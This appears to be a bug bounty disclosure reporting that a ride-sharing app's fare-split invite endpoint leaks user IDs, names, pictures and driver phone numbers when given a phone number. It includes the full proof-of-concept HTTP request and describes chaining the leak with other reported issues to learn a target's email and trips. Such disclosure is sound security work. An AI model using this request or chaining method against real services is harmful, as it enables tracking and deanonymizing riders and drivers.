Enumerating userIDs with phone numbers

Fyi, this is my second account since the other one (r0t) is limited to 4 reports and they are all in triage. So about this issue, when a user is on a trip and invites other users to split the fare, the server responds with info about his number, like: Name, UserID and his picture, and info about the driver: DriverID and mobile number, and other info that is public. Having this information, combined with other issues that we already reported (#127087, #127158, #127161), we are able to know lots of information about specific users. Ex: If we want to know a email address from a specific user, we could use this issue to know his userID and then use the issue #127158 to discover his email, or use issue #127087 to discover his trips. * REQUEST: ``` POST /rt/riders/me/invite-fare-split HTTP/1.1 Host: cn-dc1.oojoovae.org x-uber-device-location-altitude: 77.99976 Connection: close x-uber-device-epoch: 1459337709583 x-uber-device-location-latitude: 38.74049 X-Uber-DCURL: https://cn-dc1.oojoovae.org/ x-uber-device-id-tracking-enabled: 1 x-uber-client-name: client X-Uber-RedirectCount: 0 x-uber-device-os: 7.0.3 x-uber-device-ids: aaid:D2CD8FE4-8E2A-4CD9-A30F-9996A275D03E x-uber-device: iphone x-uber-token: a766366d17b4f67af58f41a71d866880 Accept-Encoding: gzip, deflate x-uber-device-location-longitude: -9.14460 User-Agent: client/iphone/2.125.6 x-uber-device-language: en x-uber-client-id: com.ubercab.UberClient x-uber-device-h-accuracy: 65.00000 Accept: */* x-uber-device-model: iPhone4,1 Accept-Language: en-us x-uber-device-v-accuracy: 17.49279 x-uber-client-version: 2.125.6 x-uber-device-id: AF90DBCB-D67B-4776-9543-D3A4A15FC3B3 Content-Type: application/json Content-Length: 26 Cookie: __cfduid=df82beb65119d85a5675640b64437db911458874450 {"invitees":["910000000"]} ```